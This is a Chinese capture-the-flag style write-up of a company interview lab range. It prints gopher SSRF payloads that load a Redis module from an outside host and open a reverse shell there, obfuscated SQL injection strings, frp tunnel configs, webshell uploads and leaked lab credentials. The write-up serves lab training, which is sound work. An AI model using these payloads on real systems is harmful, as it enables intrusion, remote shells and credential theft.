差一点通关某公司面试靶场

news2024/9/22 6:47:43

没有web4和web8,web2的4没做出来。

web1

国光ssrf改版靶场

1

直接读取flag

在这里插入图片描述

3

使用file协议读取hosts

IP为172.18.240.5

在这里插入图片描述

dict探针内网主机开启常见端口

在这里插入图片描述

在这里插入图片描述

172.18.240.1:80
172.18.240.5:3306
172.18.240.1:3306
172.18.240.5:80
172.18.240.5:8080
172.18.240.1:8080
172.18.240.1:6379
172.18.240.7:80
172.18.240.5:6379
172.18.240.7:6379
172.18.240.7:3306
172.18.240.7:8080

172.18.240.7:6379 redis未授权

在这里插入图片描述

因为flag在其他主机上所以使用

在这里插入图片描述

在这里插入图片描述

gopher://172.18.240.7:6379/_flag
gopher://172.18.240.7:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://172.18.240.7:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252089.117.123.135%25206668%250d%250aquit
gopher://172.18.240.7:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252089.117.123.135%25205566%250d%250aquit

在这里插入图片描述

再反弹个稳定的

在这里插入图片描述

配置将frp传到靶机上

在这里插入图片描述

成功转发但是访问不了,不知道网卡还是什么原因

curl -O http://x.x.x.x:9910/frpc.toml

在这里插入图片描述

#frps.ini
[common]
bind_port = 7789

2

又想到用dict读文件,但是之前一直读不出来,后来想了想换个浏览器就读到。。。

dict://172.18.240.7:6379/key:*
dict://172.18.240.7:6379/get:flag 

meetsec2{2b7cc5b73fe867cc83546583b858c8ab}

在这里插入图片描述

web2

weblogic,getshell后破解mysql密码

1

使用nmap扫了一下扫到了之前靶场就没必要扫了

在这里插入图片描述

weblogic默认端口7001,直接用工具打,既然成功了。。。

在这里插入图片描述

2

扫描到其他主机

在这里插入图片描述

172.25.20.12:3306

在这里插入图片描述

不想翻了,直接上传linpeas收集信息,哥斯拉编码出了点问题直接看有没有py,有py直接反弹pyshell

在这里插入图片描述

/usr/share/lintian/overrides/passwd



127.0.0.11:46775 

172.16.10.8 
172.25.20.10 

在这里插入图片描述

没数据库泄露直接上传fscan扫内网

fscan -h 172.16.10.0/24,172.25.20.0/24

在这里插入图片描述

[*] WebTitle http://172.16.10.1        code:200 len:1925   title:Hello!
[*] WebTitle http://172.16.10.1:8081   code:200 len:11217  title:Apache Tomcat/10.1.28
[*] WebTitle http://172.16.10.1:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://172.16.10.1:8082   code:200 len:15928  title:BEES企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站
172.16.10.1:22 open
172.25.20.1:22 open
172.25.20.10:7001 open
172.16.10.1:80 open
172.16.10.1:7001 open
172.16.10.8:7001 open
172.16.10.1:6379 open
172.16.10.1:8082 open
172.16.10.1:8081 open
172.16.10.1:8848 open

重点目标
172.25.20.12:3306 open

看这些信息很眼熟,还好我先打的下面靶场不然就打偏了。根据靶场题目来看应该就是拿下3306靶场

再自己找找密码

grep -iR passw

在这里插入图片描述

找了半天发现weblogic的密码是加密的

{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=

在这里插入图片描述

find / -name SerializedSystemIni.dat

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

爆了很多次没爆开

在这里插入图片描述

解开了这么多SerializedSystemIni.dat,具有迷惑性,但是之前那工具也用了这个SerializedSystemIni.dat base64编码的。

在这里插入图片描述

Meetsec#1024

使用frp转发

serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]]
name = "mysql"
type = "tcp"
localIP = "172.25.20.12"
localPort = 3306
remotePort = 9898

成功拿到flag

meetsec2{9fffac75c84bfc66fef4998f3574c6c8}

在这里插入图片描述

3

meetsec3{2e947aef43be6dc428a9c626ba7fb824}

select version();
select @@basedir;
select sys_eval("ifconfig");
select sys_eval("whoami");
 select sys_eval("cat /flag");

在这里插入图片描述

4

想弹个shell的结果不行,想了想应该是不出网或者命令被限制,应该可以正向连接,由于在hw时间来不及了就没去验证了,有懂的师傅可以为我解惑。

在这里插入图片描述

web3

springboot框架headdump泄露

2

使用dirsearch扫目录

python38 dirsearch.py -e php -u http://119.45.198.10:22883/ --exclude-status 403,401

在这里插入图片描述

扫到了heapdump,使用heapdump工具提取到敏感信息

在这里插入图片描述

org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false, logoutSuccessUrl = /login?logout]

org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true, userNotFoundEncodedPassword = {bcrypt}$2a$10$ONnSaC7OXAc/jlz6MGqc8et.dRN/oBt1PqhXNmRZLNUIx.U8Nt1/2]

org.springframework.security.provisioning.MutableUser:
[password = {noop}8kge78k#y%]

org.springframework.security.core.userdetails.User:
[password = {noop}8kge78k#y%, username = actuator]

org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 8kge78k#y%, passwordGenerated = false]

org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = MeetSec@2nd!2022, url = jdbc:mysql://mysql_heapdump:13306/db, username = meetsec]

com.zaxxer.hikari.HikariDataSource:
[password = MeetSec@2nd!2022, jdbcUrl = jdbc:mysql://mysql_heapdump:13306/db, username = meetsec]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]

使用navicat连接数据库拿到flag

在这里插入图片描述

1

再用工具搜到flag1

在这里插入图片描述

Web5

beescms SQL注入加后台文件上传getshell

cms直接输入admin找登录框,试了弱口令不行,但是burp插件看到有sql注入

在这里插入图片描述

user=admin'order by 5--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

user=admin' un union ion selselectect 1,2,3,4,5#&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

beescms

user=admin'  and and updatexml(1,concat(0x7e,database()),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

‘~bees_admin,bees_admin_group,bee’

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fro from m information_schema.tables wher where e table_schema like database()),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

~id,admin_name,admin_password,ad

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fro from m information_schema.columns wher where e table_schema like database() and and table_name like 'bees_admin'),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

meetsec

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fro from m bees_admin),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

2446d54c2e68d221db9cff653b01a0e

user=admin' and and updatexml(1,concat(0x7e,(selselectect group_concat(admin_password) fro from m bees_admin),0x7e),3)--+&password=123123&code=45ad&submit=true&submit.x=2&submit.y=30

在这里插入图片描述

md5解码login123

在这里插入图片描述

登录后台找到上传点/admin/upload.php上传webshell,更改文件类型即可绕过文件上传

在这里插入图片描述

web6

tomcat后台爆破+后台上传文件getshell

爆破

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

设置base64编码并取消url编码

在这里插入图片描述

dG9tY2F0OnF3ZTEyMw==

在这里插入图片描述

tomcat:qwe123

在这里插入图片描述

生成webshell压缩为zip后改成war后缀上传

在这里插入图片描述

http://119.45.198.10:8081/123/123.jsp连接哥斯拉拿下flag

在这里插入图片描述

web7

redis未授权,使用info命令查看版本信息,4.0存在rce,可以使用现成的exp打,但是我先手搓了一下写不了定时任务,写不了sshkey,webshell找不到路径,后面去git上找rceexp直接拿下

在这里插入图片描述

在这里插入图片描述

想看看能不能提权的,很多命令不能用,也不通外网。GG

在这里插入图片描述

web9

nacos泄露shirokey

在这里插入图片描述

看到返回包有remeberme,应该是用了shiro,但是不是固定key爆破key没成功。

在这里插入图片描述

sql注入也没有

在这里插入图片描述

这里xray发现了一个可以未授权添加用户
在这里插入图片描述

在这里插入图片描述

post发包但是不行,应该还是shior

在这里插入图片描述

扫描指纹发现了这个nacos,扫目录都没扫出来。

在这里插入图片描述

弱口令进入后台nacos:nacos

找了一下nacos后台rce打不进去。工具爆yaml反序列化也打不进去。这靶场应该不是拿权限,而且这是两个靶机,应该是结合shiro的key,

在这里插入图片描述

一直点不开这个,我还以为是权限不行,想了想用其他浏览器打开结果能打开,应该是插件开太多了。早知道就不会去rce了。

在这里插入图片描述

这里暴露了shirokey,就有思路了。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2069871.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RocketMQ Dashboard

rocketmq-dashboard是一个可视化查看和管理RocketMQ消息队列的工具 官方地址:RocketMQ Dashboard | RocketMQ 1、点击下载源码 2、下载并解压,切换至源码目录rocketmq-dashboard-1.0.0 3、修改配置文件 4、编译 rocketmq-dashboard打成jar包 &#xf…

【2024最新】注册Github账号图文教程

GitHub 是一个全球最大的开源代码托管平台,它提供了基于 Git 的版本控制和协作功能,使开发者能够共享、管理和协作开发项目。用户可以创建、克隆、编辑代码,并通过分支、合并请求等工具进行协同工作。GitHub 还提供社区交流、项目管理和代码审…

qt圆环饼状图,非常小的窗口都能显示

非常小的窗口都能显示 QT core gui charts#include <QtCharts> using namespace QtCharts;//创建饼状图 void MainWindow::createpieSewies() {//饼状图QPieSeries * my_pieSeries new QPieSeries();//中间圆与大圆的比例my_pieSeries->setHoleSize(0.35);//…

Spring MVC、Spring Boot和Spring Cloud

一、Spring MVC 主要特点 传统的基于Servlet的Web框架: 需要手动配置Servlet、Filter等。 配置灵活: 可以使用XML或Java类来定义Bean和依赖关系。 依赖于Web容器: 需要部署到外部Web容器&#xff08;如Tomcat、Jetty&#xff09;中运行。 视图技术支持: 支持JSP、Thymelea…

DALI-2 NFC调光解码方案,电源模块,解码板

DALI-2 DT6 NFC 调光模块 一、产品概述 深圳锐科光电科技有限公司的DALI2 DT6&D4i&#xff0c;NFC调光模块&#xff0c;符合IEC62386-101 Ed2.0、IEC62386-102 Ed2.0和 IEC62386-207 Ed1 adapted to Ed2&#xff08;DT6&#xff09;标准协议。采用国外进口单片机芯片&#…

阮一峰《TypeScript 教程》学习笔记一类型系统、数组、元祖

阮一峰《TypeScript 教程》 本篇文章主要记录浏览阮一峰《TypeScript 教程》书籍的过程中本人不会的一些TypeScript的用法。当然&#xff0c;可以说&#xff0c;我都不会哈哈哈&#xff0c;不过有的用法比较奇葩的我就不记录了&#xff0c;只记录我觉得项目中会用到&#xff0c…

Python类型检查器库之typeshed使用详解

概要 在 Python 开发中,类型检查器(如 mypy)和 IDE(如 PyCharm)能够显著提高代码的可读性和可维护性。然而,Python 本身是一种动态类型语言,标准库和第三方库通常没有类型注解。这就需要一个包含这些库类型信息的资源库,以便类型检查器能够正常工作。Typeshed 正是这样…

【Python】学习Python的流程,有这一篇资料就够了,带你深入了解Python!!!

点击免费领取《CSDN大礼包》&#xff1a;Python入门到进阶资料 & 实战源码 & 兼职接单方法 安全链接免费领取 书籍推荐 《Python编程:从入门到实践》 作者&#xff1a;埃里克马瑟斯&#xff08;Eric Matthes&#xff09;特点&#xff1a;通过实际项目引导读者学习Pyt…

前端生成验证码

一.效果图 二、实现 2.1html <template><div class"outer-box"><div class"code-box"><div class"inout-code"><label class"label" for"inputCode">验证码&#xff1a;</label><…

内存管理篇-05物理页面的迁移类型migratetype

本节内容依旧是对上节课伙伴系统的补充&#xff0c;主要介绍了新版伙伴系统的页面迁移相关的内容 为什么要引入页面迁移类型&#xff1f;新版本伙伴系统针对老版本的伙伴系统的升级改进。主要优化memory compaction内存碎片整理的过程。 页面迁移实际上就是伙伴系统中free_area…

第一次get到学习大模型的沉浸感和成就感 ,大模型入门必看!!<大模型应用开发极简入门>(PDF分享)

人工智能大潮已来&#xff0c;不加入就可能被淘汰。就好像现在职场里谁不会用PPT和excel一样&#xff0c;基本上你见不到。 而大模型是人工智能代表&#xff0c;潜力与使用方式有关。使用好大模型可提高效率&#xff0c;让人获得更好的待遇和更多机会。所以今天给大家推荐一本…

【STM32】中断

中断与GPIO一样是STM32中非常常用的东西&#xff0c;以我一个写上位机的人的理解&#xff0c;它相当于上位机程序中多线程的地位&#xff0c;因为多线程和中断都是为了提高某些响应的实时性。悄悄说一句&#xff0c;我觉得中断在一定程度上比多线程还好用。哈哈哈哈哈哈哈~ 大部…

竖图秒变横屏壁纸!AI绘画SD最强控制插件ControlNet教程,一键实现图片的扩展式填充真的太强了!

大家好&#xff0c;我是画画的小强 经常用PhotoShop作图的人都知道&#xff0c;自从去年PS2023beta版的发布&#xff0c;引入了AI绘画给广大创作者带来了不小的惊喜&#xff0c;最主要的就是它的“创成式填充”&#xff0c;通过现有图片可以进行扩展和延展&#xff0c;其强大的…

Vue2 中 $set 用法详细讲解

给变量重复赋值&#xff0c;Vue 监测不到数据变化。这个时候&#xff0c;双向绑定就失效了。 1、为什么要用set&#xff1f; 在vue中&#xff0c;并不是任何时候数据都是双向绑定的。 在官方文档中&#xff0c;有这样一段话&#xff0c;如下&#xff1a; 从文档得知&#xff…

wpf 定制 个性圆角信息面板

先上图&#xff1a; 代码实现&#xff1a; <Canvas Grid.Column"1"><Border Background"#5665F4" BorderBrush"#5665F4" BorderThickness"0.5" CornerRadius"10,10,10,30"Width"180" Height"165&qu…

CSS背景与边框——WEB开发系列18

网页设计中&#xff0c;背景和边框是用于提升视觉效果的关键元素。CSS&#xff08;层叠样式表&#xff09;提供了丰富的功能来定制这些视觉效果&#xff0c;确保网页看起来既美观又符合设计需求。 一、背景样式 背景样式在网页设计中起着至关重要的作用。它们可以用来增加页面…

qt在ui上面给QWidget设置布局

如图所示&#xff0c;我们无法给QWidget设置布局 拖拽一个GridLayout进来&#xff0c;设置QWidget布局&#xff0c;然后删掉该GridLayout 结果QWidget设置网格布局

广州自闭症全托管学校-正规儿童康复中心

在繁华的广州城&#xff0c;有一个特殊的地方&#xff0c;那就是致力于自闭症儿童康复的星贝育园。星贝育园不仅在广州拥有校区&#xff0c;在浙江也有三个校区&#xff0c;它就像一盏明灯&#xff0c;照亮了自闭症儿童和他们家庭的前行之路。 走进星贝育园&#xff0c;你会感…

【CUDA编程笔记】thrust::device_vector<float> signal无法编译问题记录

thrust::device_vector signal无法编译问题记录 CUDA编程笔记 一、问题记录 正常编译时&#xff0c;无法编译 二、源码 #include <thrust/host_vector.h> #include <thrust/device_vector.h> #include <thrust/generate.h> #include <thrust/sort.…

22:【stm32】定时器三:输出比较

输出比较 1、简介2、标准库编程 1、简介 通过CCR里面的值和计数器CNT里面的值进行比较&#xff0c;然后输出高电平/单片机&#xff0c;进而产生需要的信号。 如上图所示&#xff0c;预分频器71&#xff0c;则最小单元为1us&#xff0c;自动重装器为999&#xff0c;则周期为1ms…